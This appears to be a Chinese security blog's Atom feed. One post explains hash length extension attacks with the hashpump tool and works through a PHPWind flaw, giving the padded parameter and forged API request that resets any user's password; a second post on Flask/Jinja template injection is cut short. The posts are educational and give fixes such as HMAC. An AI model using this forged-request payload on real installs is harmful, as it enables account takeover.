<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Klaus&#39; blog</title>
  <subtitle>这个人比较菜.</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://klaus.link/"/>
  <updated>2017-12-16T19:47:11.586Z</updated>
  <id>http://klaus.link/</id>
  
  <author>
    <name>Klaus</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Web中的密码学之哈希长度扩展攻击</title>
    <link href="http://klaus.link/2017/Hash_Length_Extension_Attacks_in_Web/"/>
    <id>http://klaus.link/2017/Hash_Length_Extension_Attacks_in_Web/</id>
    <published>2017-05-07T08:50:07.000Z</published>
    <updated>2017-12-16T19:47:11.586Z</updated>
    
    <content type="html"><![CDATA[<h2 id="0x01-攻击场景"><a href="#0x01-攻击场景" class="headerlink" title="0x01 攻击场景"></a>0x01 攻击场景</h2><p>哈希长度扩展攻击(Hash Length Extension Attacks)用于攻击MAC计算方式为 <code>$MAC = H($secret, $message)</code> 的情况. 其中 <code>H()</code> 为hash函数, <code>$secret</code>为保存在服务器上的秘密信息. 当这里hash函数为 <code>MD4</code> <code>MD5</code> <code>SHA-0</code> <code>SHA-1</code> <code>SHA-256</code> <code>SHA-512</code> 等基于MD结构的算法时. 我们就可以在知道 <code>$secret</code> 长度和一组 <code>$message</code> <code>$MAC</code> 的情况下构造出 <code>$message + padding + $yourmessage</code> 的hash从而绕过服务器上的某些验证.</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170511149444910318886.png" alt=""></p>
<h2 id="0x02-Message-Authentication-Code-MAC"><a href="#0x02-Message-Authentication-Code-MAC" class="headerlink" title="0x02 Message Authentication Code(MAC)"></a>0x02 Message Authentication Code(MAC)</h2><p>在密码学中, 消息认证码(MAC)用于保证消息的完整性(integrity)和真实性(authenticity).</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170511149444648852381.png" alt=""></p>
<p>(图片来自维基百科)</p>
<p>上图展示了通过MAC认证消息的过程, 可以看得出MAC是通过MAC算法, 密钥和消息三者生成的, 但通常情况下常用MD5, SHA等hash算法来作MAC算法, 也就是文章开头的<code>$H()</code>.  Web中常见的情况是服务器充当上图中的两者, 服务器对认证过的请求计算一次MAC传递给用户, 所以在服务器端只要验证用户提交的MAC与计算出的请求的MAC是否相等, 就能判别用户的请求是否合法.  </p>
<h2 id="0x03-Merkle–Damgard-MD-结构"><a href="#0x03-Merkle–Damgard-MD-结构" class="headerlink" title="0x03 Merkle–Damgård(MD)结构"></a>0x03 Merkle–Damgård(MD)结构</h2><p>由于现在很多Web服务中使用基于MD结构的hash函数作为MAC算法, 所以这就不可避免地引入了哈希长度扩展攻击的风险.</p>
<p>在进行哈希长度拓展攻击之前, 我们先要了解一下什么是MD结构.</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170509149430208341796.png" alt=""></p>
<p>(图片来自维基百科)</p>
<p>如上图, MD算法简单来说有以下几步:</p>
<pre><code>1. 首先把要加密的消息按照固定的长度分成若干个块, 对最后一个块进行长度补足
2. 将第一个消息块和一个初始化向量IV(与具体的算法与实现有关)做一个复杂的运算f得出一个结果
3. 将上面的结果作为下一次运算f的输入向量, 并与下一个消息块进行复杂运算f, 以此类推
4. 将最后一个消息块运算后的结果进行一些处理(常是压缩函数)得出最后的结果.
</code></pre><p>明白的MD算法的流程, 我们就会想到这样一个问题: <strong>如果我们可以获得一段消息最终的hash, 那我们就可以在原消息后面附加任意的数据并计算出同样合法的hash.</strong>  因为每一次运算只依赖上一次的结果, 与之前的运算没有关联.</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170511149444930323285.png" alt=""></p>
<h2 id="0x04-构造扩展消息"><a href="#0x04-构造扩展消息" class="headerlink" title="0x04 构造扩展消息"></a>0x04 构造扩展消息</h2><p>下面就让我们以下面这段代码为例, 来构造恶意的扩展消息绕过服务器端的逻辑</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line">	$secret = <span class="string">'ABCDEFG'</span>;</div><div class="line">	<span class="keyword">if</span>(!(<span class="keyword">isset</span>($_GET[<span class="string">'mac'</span>]) &amp;&amp; <span class="keyword">isset</span>($_GET[<span class="string">'request'</span>])))&#123;</div><div class="line">      <span class="keyword">die</span>(<span class="string">"error"</span>);</div><div class="line">	&#125;</div><div class="line">	$mac = $_GET[<span class="string">'mac'</span>];</div><div class="line">	$message = $_GET[<span class="string">'request'</span>];</div><div class="line">	<span class="keyword">if</span>($mac === md5($secret . $message))&#123;</div><div class="line">      <span class="keyword">die</span>(<span class="string">"success"</span>);</div><div class="line">	&#125;</div><div class="line"><span class="meta">?&gt;</span></div></pre></td></tr></table></figure>
<p>在构造消息之前, 我们还要了解一下MD5, MD5算法简单来说一共有三步:</p>
<pre><code>1. 补位
2. 补长度
3. 计算消息摘要
</code></pre><p>首先MD5要求消息长度必须符合满足 N ≡ 448 (mod 512), 即N % 512 = 448. 不足448的需要用<code>1</code>后面加<code>0</code>来补足448比特, 但是需要注意的是MD5补位的范围为 1~512, 所以补位操作是必须的, 即使原始消息长度正好满足条件, 也要补位512比特. 补位完成后, 还要在补位过消息后面附加64比特的长度信息. 长度紧随其后, 之后的比特用0填充.</p>
<p>下面来演示一下如何构造MD5的扩展消息</p>
<p>假设我们有消息<code>I am Bob</code>, 那么实际在服务器端被MD5计算的数据是:</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170526149580546667473.png" alt=""></p>
<p>图中红色的部分为服务器端合成的消息(即<code>$secret + $message</code>), 绿色部分为用<code>1</code>加上<code>0</code>的填充部分(8个bit一个字节, 所以10000000  0000……..在16进制编辑器中为80 00 00 ……..), 蓝色部分为补位消息后附加的长度信息, 补位前消息为15个字节, 120比特, 转换成16进制为0x78.</p>
<p>我们计算一下<code>ABCDEFGI am Bob</code>的MD5</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170527149588029850437.png" alt="20170527149588029850437.png"></p>
<p>根据前面所说的MD算法的特点, 每个数据块的计算只依赖与上一个数据块计算的结果, 那么现在我们已经知道了第一个数据块, 计算的结果, 那么我们直接再该数据块后附加数据就可以继续该计算, 比如我们在<strong>第一个消息块后面</strong>附加消息<code>I am Alice</code>, 如下图所示</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170527149582098731533.png" alt="20170527149582098731533.png"></p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170526149580977387060.png" alt="20170526149580977387060.png"></p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170527149582084539914.png" alt="20170527149582084539914.png"></p>
<p><img src="http://ony7wielg.bkt.clouddn.com/2017052714958763895206.png" alt="2017052714958763895206.png"></p>
<p>(图中箭头上的值并不是实际算法中直接代入下一轮计算中的值, 我们无需关心计算细节, 这里只是想表达每一轮计算产生的hash值是下一轮计算的输入; 最左边的ABCD为MD5算法固定的初始化向量)</p>
<p>我们要注意的很关键的一点是这里的附加消息是附加在第一个消息块后面, 也就是要保证我们附加的消息在下一个消息块开头(这就是为什么我们必须知道服务器端<code>$secret</code>长度的原因), 这样我们才能利用上一个消息块计算的结果去继续计算.</p>
<p>现在我们根据已有的消息<code>I am Bob</code>和其摘要<code>2229cbfa1981495d6fb63a854461b923</code>自己构造了一段消息</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170527149582070129760.png" alt="20170527149582070129760.png"></p>
<p>并能在不知道<code>$secret</code>的情况下计算出上面这段消息的hash.</p>
<p>好吧该怎么计算呢, 其实我们只需要把MD5固定的初始化向量<code>A=0x67452301;B=0xefcdab89;C=0x98badcfe;D=0x10325476</code>换成上一次计算的hash<code>2229cbfa1981495d6fb63a854461b923</code>, 然后计算我们附加数据补位完成的数据块就好了. </p>
<p>我们这里不关心具体算法的细节, 下面介绍一个工具来帮我们完成实际的计算</p>
<h2 id="0x05-利器Hashpump"><a href="#0x05-利器Hashpump" class="headerlink" title="0x05 利器Hashpump"></a>0x05 利器Hashpump</h2><p>hashpump是一个C++编写的用于哈希长度拓展攻击的工具, 支持CRC32, MD5, SHA1等等多种算法, 并且使用起来也非常方便.(python也有hashpump的库)</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/2017052714958780923117.png" alt="2017052714958780923117.png"></p>
<p>一共4个参数, 分别是<code>-s</code> 已知消息在服务器端生成的hash, <code>-d</code>已知的消息, <code>-a</code>想要附加的数据, <code>-k</code>服务器端<code>$secret</code>的长度. 我们用hashpump来计算一下我们上面构造的扩展消息的hash</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170527149587893956727.png" alt="20170527149587893956727.png"></p>
<p>输出有两行, 第一行是扩展消息的hash, 第二行是hashpump帮助我们构造的扩展消息. </p>
<p>现在我们在本地计算一下<code>$secret</code> 加上我们构造的扩展消息的MD5值</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170527149588067676540.png" alt="20170527149588067676540.png"></p>
<p>与hashpump计算出来的完全一样! 现在我们再那这对扩展消息和hash去验证前面给的那段php代码</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149608754413815.png" alt="20170530149608754413815.png"></p>
<p>成功绕过了验证. </p>
<h2 id="0x06-PHPWind哈希长度扩展漏洞"><a href="#0x06-PHPWind哈希长度扩展漏洞" class="headerlink" title="0x06 PHPWind哈希长度扩展漏洞"></a>0x06 PHPWind哈希长度扩展漏洞</h2><p>也许有的同学要问了, 前面的攻击虽然能达成, 但是我们能构造的消息必须是 <code>message + padding + attention</code> 这种形式, 未免限制太大了. 然而, 就是这种形式的构造数据再某些特定的场合下就是能利用. 下面就来举一个PHPWind的例子.</p>
<p>我们新注册一个test用户, 问题出现在用户上传头像的地方</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149607868774050.png" alt="20170530149607868774050.png"></p>
<p>我们打开网页的源代码看到上传头像的源代码里有这么一段</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149607984047530.png" alt="20170530149607984047530.png"></p>
<p>网页生成了一段URL, 而这段URL里面有用于认证请求合法性的windidkey参数 7967c3eef8e0544fc7e91e686589636b</p>
<p>我们先找到生成这段URL的PHP代码</p>
<p>src/windid/service/user/srv/WindidUserService.php</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div></pre></td><td class="code"><pre><div class="line"></div><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">showFlash</span><span class="params">($uid, $appId, $appKey, $getHtml = <span class="number">1</span>)</span> </span>&#123;</div><div class="line">		$time = Pw::getTime();</div><div class="line">		$key = WindidUtility::appKey($appId, $time, $appKey, <span class="keyword">array</span>(<span class="string">'uid'</span>=&gt;$uid, <span class="string">'type'</span>=&gt;<span class="string">'flash'</span>), <span class="keyword">array</span>(<span class="string">'uid'</span>=&gt;<span class="string">'undefined'</span>));</div><div class="line">		$key2 = WindidUtility::appKey($appId, $time, $appKey, <span class="keyword">array</span>(<span class="string">'uid'</span>=&gt;$uid, <span class="string">'type'</span>=&gt;<span class="string">'normal'</span>), <span class="keyword">array</span>());</div><div class="line">		</div><div class="line">		$postUrl = <span class="string">"postAction=ra_postAction&amp;redirectURL=/&amp;requestURL="</span> . urlencode(Wekit::app(<span class="string">'windid'</span>)-&gt;url-&gt;base . <span class="string">"/index.php?m=api&amp;c=avatar&amp;a=doAvatar&amp;uid="</span> . $uid . <span class="string">'&amp;windidkey='</span> . $key . <span class="string">'&amp;time='</span> . $time . <span class="string">'&amp;clientid='</span> . $appId . <span class="string">'&amp;type=flash'</span>) . <span class="string">'&amp;avatar='</span> . urlencode(<span class="keyword">$this</span>-&gt;getAvatar($uid, <span class="string">'big'</span>) . <span class="string">'?r='</span> . rand(<span class="number">1</span>,<span class="number">99999</span>));</div><div class="line">		<span class="keyword">return</span> $getHtml ? <span class="string">'&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="700" height="430" id="rainbow" align="middle"&gt;</span></div><div class="line">							&lt;param name="movie" value="' . Wekit::app(<span class="string">'windid'</span>)-&gt;url-&gt;res . <span class="string">'swf/avatar/avatar.swf?'</span> . rand(<span class="number">0</span>,<span class="number">9999</span>) . <span class="string">'" /&gt;</span></div><div class="line">							&lt;param name="quality" value="high" /&gt;</div><div class="line">							&lt;param name="bgcolor" value="#ffffff" /&gt;</div><div class="line">							&lt;param name="play" value="true" /&gt;</div><div class="line">							&lt;param name="loop" value="true" /&gt;</div><div class="line">							&lt;param name="wmode" value="opaque" /&gt;</div><div class="line">							&lt;param name="scale" value="showall" /&gt;</div><div class="line">							&lt;param name="menu" value="true" /&gt;</div><div class="line">							&lt;param name="devicefont" value="false" /&gt;</div><div class="line">							&lt;param name="salign" value="" /&gt;</div><div class="line">							&lt;param name="allowScriptAccess" value="never" /&gt;</div><div class="line">							&lt;param name="FlashVars" value="' . $postUrl . <span class="string">'"/&gt;</span></div><div class="line">							&lt;embed src="' . Wekit::app(<span class="string">'windid'</span>)-&gt;url-&gt;res . <span class="string">'swf/avatar/avatar.swf?'</span> . rand(<span class="number">0</span>,<span class="number">9999</span>) . <span class="string">'" quality="high" bgcolor="#ffffff" width="700" height="430" name="mycamera" align="middle" allowScriptAccess="never" allowFullScreen="false" scale="exactfit"  wmode="transparent" FlashVars="'</span> . $postUrl . <span class="string">'" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /&gt;</span></div><div class="line">						&lt;/object&gt;'</div><div class="line">		               : <span class="keyword">array</span>(</div><div class="line">		                    <span class="string">'width'</span> =&gt; <span class="string">'500'</span>,</div><div class="line">		                    <span class="string">'height'</span> =&gt; <span class="string">'405'</span>,</div><div class="line">		                    <span class="string">'id'</span> =&gt; <span class="string">'uploadAvatar'</span>,</div><div class="line">		                    <span class="string">'name'</span> =&gt; <span class="string">'uploadAvatar'</span>,</div><div class="line">		                    <span class="string">'src'</span> =&gt; Wekit::app(<span class="string">'windid'</span>)-&gt;url-&gt;res . <span class="string">'swf/avatar/avatar.swf'</span>,</div><div class="line">		                    <span class="string">'wmode'</span> =&gt; <span class="string">'transparent'</span>,</div><div class="line">		                    <span class="string">'postUrl'</span> =&gt; Wekit::app(<span class="string">'windid'</span>)-&gt;url-&gt;base . <span class="string">"/index.php?m=api&amp;c=avatar&amp;a=doAvatar&amp;uid="</span> . $uid . <span class="string">'&amp;windidkey='</span> . $key2 . <span class="string">'&amp;time='</span> . $time . <span class="string">'&amp;clientid='</span> . $appId . <span class="string">'&amp;type=normal&amp;jcallback=avatarNormal'</span>,</div><div class="line">		               		<span class="string">'token'</span> =&gt; $key2,</div><div class="line">		                );</div><div class="line"></div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>可以看到URL里面的key是WindidUtility::appKey这个方法生成的, 我们跟踪到这个方法</p>
<p>src/windid/service/base/WindidUtility.php</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">appKey</span><span class="params">($apiId, $time, $secretkey, $get, $post)</span> </span>&#123;</div><div class="line">		$array = <span class="keyword">array</span>(<span class="string">'m'</span>, <span class="string">'c'</span>, <span class="string">'a'</span>, <span class="string">'windidkey'</span>, <span class="string">'clientid'</span>, <span class="string">'time'</span>, <span class="string">'_json'</span>, <span class="string">'jcallback'</span>, <span class="string">'csrf_token'</span>, <span class="string">'Filename'</span>, <span class="string">'Upload'</span>, <span class="string">'token'</span>);</div><div class="line">		$str = <span class="string">''</span>;</div><div class="line">		ksort($get);</div><div class="line">		ksort($post);</div><div class="line">		<span class="keyword">foreach</span> ($get <span class="keyword">AS</span> $k=&gt;$v) &#123;</div><div class="line">			<span class="keyword">if</span> (in_array($k, $array)) <span class="keyword">continue</span>;</div><div class="line">			$str .=$k.$v;</div><div class="line">		&#125;</div><div class="line">		<span class="keyword">foreach</span> ($post <span class="keyword">AS</span> $k=&gt;$v) &#123;</div><div class="line">			<span class="keyword">if</span> (in_array($k, $array)) <span class="keyword">continue</span>;</div><div class="line">			$str .=$k.$v;</div><div class="line">		&#125;</div><div class="line">		<span class="keyword">return</span> md5(md5($apiId.<span class="string">'||'</span>.$secretkey).$time.$str);</div><div class="line">		</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>看到这里就很明显了, 这个方法生成windidkey的方式就是 <code>md5(md5($apiId.&#39;||&#39;.$secretkey).$time.$str)</code>, <code>$time</code> 是当前的时间, <code>$str</code> 是将 <code>$get</code> 和 <code>$post</code> 中的值排序后拼接起来, <code>md5($apiId.&#39;||&#39;.$secretkey)</code>的长度是固定的32位, 而 <code>$time</code> 和 <code>$str</code> 又是我们可控的, 我们完全可以按照前面的方法构造新的请求并绕过windidkey的验证! 下面我们看一下具体验证请求的地方</p>
<p>src/applications/windidserver/api/controller/OpenBaseController.php </p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span>  <span class="function"><span class="keyword">function</span> <span class="title">beforeAction</span><span class="params">($handlerAdapter)</span> </span>&#123;</div><div class="line">		<span class="keyword">parent</span>::beforeAction($handlerAdapter);</div><div class="line">		$charset = <span class="string">'utf-8'</span>;</div><div class="line">		$_windidkey = <span class="keyword">$this</span>-&gt;getInput(<span class="string">'windidkey'</span>, <span class="string">'get'</span>);</div><div class="line">		$_time = (int)<span class="keyword">$this</span>-&gt;getInput(<span class="string">'time'</span>, <span class="string">'get'</span>);</div><div class="line">		$_clientid = (int)<span class="keyword">$this</span>-&gt;getInput(<span class="string">'clientid'</span>, <span class="string">'get'</span>);</div><div class="line">		<span class="keyword">if</span> (!$_time || !$_clientid) <span class="keyword">$this</span>-&gt;output(WindidError::FAIL);</div><div class="line">		$clent = <span class="keyword">$this</span>-&gt;_getAppDs()-&gt;getApp($_clientid);</div><div class="line">		<span class="keyword">if</span> (!$clent) <span class="keyword">$this</span>-&gt;output(WindidError::FAIL);</div><div class="line">		<span class="keyword">if</span> (WindidUtility::appKey($clent[<span class="string">'id'</span>], $_time, $clent[<span class="string">'secretkey'</span>], <span class="keyword">$this</span>-&gt;getRequest()-&gt;getGet(<span class="keyword">null</span>), <span class="keyword">$this</span>-&gt;getRequest()-&gt;getPost()) != $_windidkey)  <span class="keyword">$this</span>-&gt;output(WindidError::FAIL);</div><div class="line">		</div><div class="line">		$time = Pw::getTime();</div><div class="line">		<span class="keyword">if</span> ($time - $_time &gt; <span class="number">1200</span>) <span class="keyword">$this</span>-&gt;output(WindidError::TIMEOUT);</div><div class="line">		<span class="keyword">$this</span>-&gt;appid = $_clientid;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>绕过了这个函数的验证就可以访问PHPWind中的API, 函数的逻辑很简单, 必须有 <code>clientid</code> 和 <code>time</code> 这两个参数, 验证提交的windidkey与WindidUtility::appKey中计算的结果是否一致, 之后如果对请求生成的windidkey没有超时就返回成功.</p>
<p>我们只要能使请求 <code>POST a=editUser&amp;c=user&amp;m=api&amp;uid=2&amp;password=aaabbbcc</code>  通过windidkey的校验就可以将uid为2的用户的密码更改为aaabbbccc</p>
<p>我们回过头来看生成上传头像处URL的代码, 传入appKey方法中的 <code>$get</code>, <code>$post</code> 参数实际上是两个数组</p>
<p> <code>array(&#39;uid&#39;=&gt;$uid, &#39;type&#39;=&gt;&#39;flash&#39;)</code> 和 <code>array(&#39;uid&#39;=&gt;&#39;undefined&#39;)</code> 也就是说上图中的windidkey实际上是 <code>md5($apiId.&#39;||&#39;.$secretkey) + &quot;1496078639&quot; + &quot;typeflashuid2uidundefined&quot;</code> 的MD5值.</p>
<p>验证API请求的beforeAction函数中, 传入appKey方法中的 <code>$get</code>, <code>$post</code> 参数是实际请求URL中的参数, 需要注意的一点是appKey方法还会对去掉存在于数组 <code>array(&#39;m&#39;, &#39;c&#39;, &#39;a&#39;, &#39;windidkey&#39;, &#39;clientid&#39;, &#39;time&#39;, &#39;_json&#39;, &#39;jcallback&#39;, &#39;csrf_token&#39;, &#39;Filename&#39;, &#39;Upload&#39;, &#39;token&#39;)</code> 中的键. 也就是说我们想构造的请求中只有uid和password两个参数参与. 所以我们需要附加的消息就是passwordaaabbbcccuid2</p>
<p>好啦, 根据我们前面的方法直接上hashpump</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149608322678645.png" alt="20170530149608322678645.png"></p>
<p>这里有个问题, 就是我们怎样让<code>typeflashuid2uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%02%00%00%00%00%00%00</code> </p>
<p>参与到windidkey的计算中来, 因为我们用计算出的hash是整个消息</p>
<p><code>1496078639typeflashuid2uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%02%00%00%00%00%00%00passwordaaabbbcccuid2</code> </p>
<p>的hash. 这里有个技巧, 同时也是我认为这个洞很关键的一点, 就是我们可以传一个参数</p>
<p><code>typeflashuid2uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%02%00%00%00%00%00%00</code></p>
<p>虽然这个参数是没有功能上的作用的, 但是它还是要被后端的PHP收到, 这样经过appKey方法排序拼接过后, 被计算的消息就变成了</p>
<p><code>1496078639typeflashuid2uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%02%00%00%00%00%00%00passwordaaabbbcccuid2</code></p>
<p>再附上hashpump计算出来的hash我们成功构造请求, 绕过了验证</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149608409049699.png" alt="20170530149608409049699.png"></p>
<p>这样我们就已经将uid为2的用户的密码修改为aaabbbccc了, 通过这种方式我们可以修改数据库中任意用户的密码, 包括管理员的. 其实这个洞不单单是能够修改密码, 通过构造不同的参数可以访问PHPWind的API中不同的逻辑. 不过那不是本文的重点了, 大家自行探究. </p>
<p>这个洞和原来Flicker那个洞非常类似, 都是通过计算拼接后参数的MAC来验证API请求的合法性. 然而利用哈希长度扩展攻击和URL参数的这个特性就可以伪造合法的请求.</p>
<h2 id="0x07-修补方案和反思"><a href="#0x07-修补方案和反思" class="headerlink" title="0x07 修补方案和反思"></a>0x07 修补方案和反思</h2><p>采用MD算法的哈希函数都无法避免扩展攻击. 对于这种问题, 最好的一个解决方案就是使用将MAC算法改为HMAC算法, 即 <code>H($secret + H($secret + $message))</code> 这样子的话, 一来 <code>hash($secret + $message)</code> 内容是不可控的, 二来其长度也是固定的, 自然也没办法扩展了. 另外如果把 <code>$secret</code> 放在后面 <code>H($message + $secret)</code>, 这样我们也是没有办法做扩展攻击的.  </p>
<p>其实想一想上面PHPWind的例子, 我们已知的消息是t开头的, 如果说我们构造的请求中在GET里有一个a开头的参数(比如app_id)那经过上面那样排序以后不可避免地app_id会落在我们t开头的消息前面, 那么这种请求实际上我们也是无法做扩展攻击的. </p>
<h1 id="0x08-参考"><a href="#0x08-参考" class="headerlink" title="0x08 参考"></a>0x08 参考</h1><p><a href="https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction" target="_blank" rel="external">https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction</a></p>
<p><a href="http://netifera.com/research/flickr_api_signature_forgery.pdf" target="_blank" rel="external">http://netifera.com/research/flickr_api_signature_forgery.pdf</a></p>
<p><a href="http://blog.csdn.net/syh_486_007/article/details/51228628" target="_blank" rel="external">http://blog.csdn.net/syh_486_007/article/details/51228628</a></p>
<p><a href="http://netsecurity.51cto.com/art/201609/517646.htm" target="_blank" rel="external">http://netsecurity.51cto.com/art/201609/517646.htm</a></p>
<p><a href="http://blog.nsfocus.net/phpwind-hash-length-attack-hashpump-getshell/" target="_blank" rel="external">http://blog.nsfocus.net/phpwind-hash-length-attack-hashpump-getshell/</a></p>
<p><a href="https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html" target="_blank" rel="external">https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html</a></p>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;0x01-攻击场景&quot;&gt;&lt;a href=&quot;#0x01-攻击场景&quot; class=&quot;headerlink&quot; title=&quot;0x01 攻击场景&quot;&gt;&lt;/a&gt;0x01 攻击场景&lt;/h2&gt;&lt;p&gt;哈希长度扩展攻击(Hash Length Extension Attacks)用于攻
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>Flask/Jinja 模板注入</title>
    <link href="http://klaus.link/2017/Flask_SSTI/"/>
    <id>http://klaus.link/2017/Flask_SSTI/</id>
    <published>2017-04-05T18:27:50.000Z</published>
    <updated>2018-05-27T18:49:17.755Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00"><a href="#0x00" class="headerlink" title="0x00"></a>0x00</h1><p>最近看了国外几篇关于模板注入的文章, 自己也在这里加上自己的一些东西总结一下.  </p>
<blockquote>
<p><a href="http://blog.portswigger.net/2015/08/server-side-template-injection.html" target="_blank" rel="external">Server-Side Template Injection</a> — <a href="https://twitter.com/albinowax" target="_blank" rel="external">James Kettle</a></p>
<p><a href="http://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/" target="_blank" rel="external">Exploring SSTI in Flask/Jinja2</a> —  <a href="https://nvisium.com/about#TimTomes" target="_blank" rel="external">Tim Tomes</a></p>
<p><a href="https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/" target="_blank" rel="external">Exploring SSTI in Flask/Jinja2, Part II</a> — <a href="https://nvisium.com/about#TimTomes" target="_blank" rel="external">Tim Tomes</a></p>
</blockquote>
<h1 id="0x01-万恶的拼接"><a href="#0x01-万恶的拼接" class="headerlink" title="0x01 万恶的拼接"></a>0x01 万恶的拼接</h1><p>我们先看这段处理网站404状态的代码</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="meta">@app.errorhandler(404)</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">page_not_found</span><span class="params">(e)</span>:</span></div><div class="line">    template = <span class="string">'''</span></div><div class="line">&#123;%% block body %%&#125;</div><div class="line">    &lt;div class="center-content error"&gt;</div><div class="line">        &lt;h1&gt;Oops! That page doesn't exist.&lt;/h1&gt;</div><div class="line">        &lt;h3&gt;%s&lt;/h3&gt;</div><div class="line">    &lt;/div&gt; </div><div class="line">&#123;%% endblock %%&#125;</div><div class="line">''' % (request.url)</div><div class="line">    <span class="keyword">return</span> render_template_string(template), <span class="number">404</span></div></pre></td></tr></table></figure>
<p>这段代码没有从模板文件而是用 render_template_string() 直接从一个字符串渲染到了html. 从模板文件还是从字符串倒不是什么大问题, 主要是它渲染的那个字符串是和用户的输入(request.url)拼接过的. 要知道这里的 template 存的并不是纯数据而是有一部分控制功能在里面的. 这就产生了代码域与数据域的混淆, 只要出现了这样的情况十有八九就会有洞. 首先最直接的, html模板渲染到html, 插入到html就肯定会有XSS.</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149609702857674.png" alt="20170530149609702857674.png"></p>
<h1 id="0x02-不仅仅是客户端"><a href="#0x02-不仅仅是客户端" class="headerlink" title="0x02 不仅仅是客户端"></a>0x02 不仅仅是客户端</h1><p>我们都知道html里面拼接数据是XSS攻击的是客户端, 然而html模板并不仅仅是html, 还有能被模板渲染引擎解释的模板代码, 这样一来我们就能插入在服务器端执行的代码. 让我们试一下</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149609767354923.png" alt="20170530149609767354923.png"></p>
<p>看来是可以的, 再试一个 <code></code> </p>
